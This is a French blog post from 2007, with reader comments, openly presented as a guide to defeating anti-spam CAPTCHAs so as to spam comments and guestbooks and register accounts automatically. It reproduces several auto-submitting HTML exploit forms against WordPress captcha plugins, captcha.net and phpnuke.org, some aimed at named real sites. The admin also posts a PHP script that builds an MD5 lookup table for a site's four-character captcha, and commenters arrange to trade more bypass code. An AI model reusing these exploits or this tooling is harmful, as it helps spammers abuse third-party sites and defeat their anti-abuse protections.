Bypass Captcha : petit tour d’horizon des techniques pour contourner les captchas
Ecrit par admin le Mardi 25 décembre 2007 à 19:38 - Catégorie Captchas, Outils de spam, Sécurité Internet et SEO
Comment outrepasser / bypasser les codes captchas antispam (en dehors des solutions OCR) ?
Le but de passer des captchas est bien sûr le spam de commentaires de blogs, de sites web…, le spam des guestbooks, l’inscription automatique sur des sites web… Il existe 3 façons pour bypasser les codes captchas antispam :
1 - Traitement OCR (Optical Character Recognition) = Reconnaissance optique de caractères.
2 - Faire traiter ces captchas par des internautes à leur insu.
3 - Passer par les failles présentes sur ces captchas (XSS, CSRF, sessions non fermées, captchas en clairs dans code source, captchas encodés en MD5 dans le source, captchas dont les différentes combinaisons sont connues/limitées et donc listables…).

Je suis tombé sur plusieurs articles intéressants, le premier est l’article ou plus précisement le script d’un hackeur nommé G-Brain qui propose une solution PHP (utilise les fonctions de la librairie GD) pour bypasser les captchas.
Le script est en téléchargement ici : http://www.g-brain.net/projects/captchapwn/captchapwn_php.txt. Le script n’est pas au point mais prouve que sa méthode fonctionne.
Le second article : http://websecurity.com.ua/category/mobic/ présente une série de failles de sécurité (XSS, CSRF…) permettant de bypasser des captchas couramment utilisés, 32 captchas bypassés au total.
Voici quelques exemples de failles trouvées par cet auteur dont je salue l’excellent travail au passage (Good job man for mobic and moseb !
) :
Script : Math Comment Spam Protection CAPTCHA :
<html> <head> <title>MoBiC-23: Math Comment Spam Protection CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="test" /> <input type="hidden" name="email" value="test@test.test" /> <input type="hidden" name="url" value="http://websecurity.com.ua" /> <input type="hidden" name="comment" value="Captcha bypass test." /> <input type="hidden" name="comment_post_ID" value="3" /> <input type="hidden" name="mcspvalue" value="11" /> <input type="hidden" name="mcspinfo" value="8a09f" /> </form> </body> </html>
Le même code sur un exemple concret :
<html> <head> <title>MoBiC-23: tehposse.org CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://www.tehposse.org/brandon/wordpress/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test" /> <input type="hidden" name="email" value="test@test.test" /> <input type="hidden" name="url" value="http://websecurity.com.ua" /> <input type="hidden" name="comment" value="Captcha bypass test." /> <input type="hidden" name="comment_post_ID" value="121" /> <input type="hidden" name="mscpvalue" value="13" /> <input type="hidden" name="mscpinfo" value="c7b00" /> </form> </body> </html>
Autre type de captcha, identifier le mot lié à une série image :
http://www.captcha.net/cgi-bin/esp-pix?another=Take+another+test
Facile à bypasser car il suffit de passer le même champs hidden et le même mot :
Par exemple il y a un champs hidden dans le formulaire : 0.640406482693837 :
qui correspond au mot volcano.
<html> <head> <title>MoBiC-30: ESP-PIX CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://www.captcha.net/cgi-bin/post-query-pix-esp" method="post"> <input type="hidden" name="tag" value="0.640406482693837"> <input type="hidden" name="words" value="volcano"> </form> </body> </html>
Autre exemple différent : Inscription auto à PHPnuke
http://phpnuke.org/modules.php?name=Your_Account
<html> <head> <title>MoBiC-10 Bonus: phpnuke.org CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://phpnuke.org/modules.php?name=Your_Account" method="post"> <input type="hidden" name="username" value="Test2008123"> <input type="hidden" name="user_email" value="test2008123@gmail.com"> <input type="hidden" name="user_password" value="2008123"> <input type="hidden" name="user_password2" value="2008123"> <input type="hidden" name="op" value="finish"> </form> </body> </html>
D’autres scripts de captcha ont les codes présents dans le source en clair ou crypté :
Certains laissent carrément le captcha en clair dans le code source ou le crypte en md5 ou l’encode en base64… Je n’irai pas plus loin, ce genre de captcha est trop simple à passer.
Exemple ce script de guestbook : http://actif-video.chez-alice.fr/index.php (captcha en clair dans le code)
Exemple captcha MD5 dans le source : http://www.keyworddiscovery.com/search.html
Conclusion : Cet article est juste une ébauche des différentes techniques permettant de passer les code captchas antispam sans utiliser de logiciels de traitement OCR.
Edition du 17 janvier 2008 :
J’ai écrit un second article sur le sujet : Pourquoi les captchas basés sur les questions, les calculs ne sont pas fiables ?
P.S : vous pouvez aussi lire ces articles en anglais :
http://www.slightlyshadyseo.com/?p=25
http://www.puremango.co.uk/cm_breaking_captcha_115.php (explique que les sessions sont rarement détruites lorsque l’on saisit correctement un captcha, donc on peut réutiliser le même code ensuite…)
Catégorie: Captchas, Outils de spam, Sécurité Internet et SEO
- Ajouter cet article à :
- Del.icio.us -
- Digg
Commentaire par Lionel
Mercredi, 26 décembre , 2007 à 18:06
Pas compris pkoi le md5 présentait un problème…
Ce n’est pas réversible un md5 ?
On peut effectivement par contre constituer un dictionnaire pour attaquer le dit site.
Mais si ce site décide d’ajouter un salt comme l’heure (aussi en hidden) et une secret passphrase, il peut avoir un md5 variable pour le même mot, et donc le dictionnaire tombe à l’eau…
Commentaire par fred
Mercredi, 26 décembre , 2007 à 22:40
Perso j’utilise un captcha de ma sauce, crypté dans le code source, mais avec un grain de sable basé sur la date, qui ne laisse au captcha qu’une validité de 5 minutes. Est ce toujours aussi trivial à bypasser pas la méthode n°3 ?
Commentaire par admin
Jeudi, 27 décembre , 2007 à 4:46
Nous sommes d’accord, dès que l’on ajoute un salt c’est bon.
Mais si je prend cet exemple : http://www.keyworddiscovery.com/search.html
Le code du captcha est en MD5 dans le code source, et il est composé de 4 lettres et chiffres donc facile de mettre toutes les combinaisons possibles en base de données, exemple :
<code><?php $creation_table = 1; //connection au serveur $cnx = mysql_connect('localhost', 'root', ''); //sélection de la base de données: $db = mysql_select_db( "kwd" ) ; //********* Création de la table ********* if ($creation_table == 1) { $sql2="CREATE TABLE IF NOT EXISTS captcha_kwd ( `id` INT( 20 ) NOT NULL AUTO_INCREMENT , `md5` VARCHAR( 255 ) NOT NULL , `code` VARCHAR( 255 ) NOT NULL , PRIMARY KEY ( `id` ) )"; $res2=mysql_query($sql2)or die("Echec création table captcha_kwd."); } /* creation de la table CREATE TABLE `captcha_kwd` ( `id` INT( 20 ) NOT NULL AUTO_INCREMENT , `md5` VARCHAR( 255 ) NOT NULL , `code` VARCHAR( 255 ) NOT NULL , PRIMARY KEY ( `id` ) ) TYPE = MYISAM ; */ $letter = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q' , 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'); $num = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); $carac = array_merge($letter, $num); $nbr_carac = count($carac); $result = array(); for ( $a=0; $a<$nbr_carac; $a++ ) { for ( $b=0; $b<$nbr_carac; $b++ ) { for ( $c=0; $c<$nbr_carac; $c++ ) { for ( $d=0; $d<$nbr_carac; $d++ ) { $base_tmp = $carac[$a] . $carac[$b] . $carac[$c] . $carac[$d]; $base_md5 = md5(trim($base_tmp)); //echo $base_md5 . ' => ' . $base_tmp . '<br />'; $sql = "INSERT INTO captcha_kwd (md5, code) VALUES ('$base_md5', '$base_tmp')" ; $requete = mysql_query($sql, $cnx) or die( mysql_error() ) ; } } } } ?> </code>
Commentaire par ranks (13 commentaires)
Vendredi, 28 décembre , 2007 à 18:27
Il suffit qu’ils rajoutent 2 ou 3 lettres supplémentaires et tout et multiplié
ça va faire chauffer du processeur !
Commentaire par admin
Lundi, 14 janvier , 2008 à 4:01
Vrai ![]()
Commentaire par Speaplyemesty
Mercredi, 6 février , 2008 à 14:59
Hello!
Nice site ![]()
Bye
Commentaire par admin
Mercredi, 6 février , 2008 à 21:59
Thanks Speaplyemesty, nice to see people from Russia here ![]()
Commentaire par Bert (1 commentaire)
Vendredi, 27 juin , 2008 à 0:28
Kikoo,
Petite mise à jour : l’url http://g-brain.sesoyo.com/code/captchapwn-php.txt présentée dans cet article n’est plus d’actualité, j’ai un poil “galéré” pour retrouver la bonne et la voici : http://www.g-brain.net/projects/captchapwn/captchapwn_php.txt
Bises all ![]()
Commentaire par admin
Vendredi, 27 juin , 2008 à 9:48
Mdr Bert
Merci pour le bon lien, je mets à jour l’article
Pour les captchas, j’ai mis un pote sur le coup, tu bosses dessus ou fait bosser Sto** ?
Si tu veux je peux te passer un autre bout de code fait par un spanish qui permet de bypass le captcha des annuaires utilisables, myphpannuaire et categorizator, qui utilisent tous le même captcha antispam. J’ai pas réussi à le faire fonctionner mais un tueur en php devrait y arriver…
Commentaire par WebMan
Mercredi, 2 juillet , 2008 à 17:52
Salut !
Je suis justement en train de chercher des moyens de bypasser les captcha d’annuaires en vain, pourrais tu communiquer le code que tu as trouvé ?
Merci ![]()
P.S: super site, j’y ai trouvé une vrai mine d’infos ![]()
Commentaire par admin
Vendredi, 1 août , 2008 à 19:58
Hello WebMan, oui je veux bien te le transmettre, si tu t’engages à faire un retour (en privé bien sûr) si tu parviens à un résultat ![]()
Commentaire par WebMan (nouveau commentaire)
Samedi, 2 août , 2008 à 3:13
Salut,
Merci de ta réponse, tu peux me l’envoyer via l’email renseigné dans ce message que tu dois avoir, j’essayerais de voir si je peux arriver à un résultat et bien sur je te communiquerais mes résultats, voir mes améliorations/modifications, cela va de sois
Merci d’avance ![]()















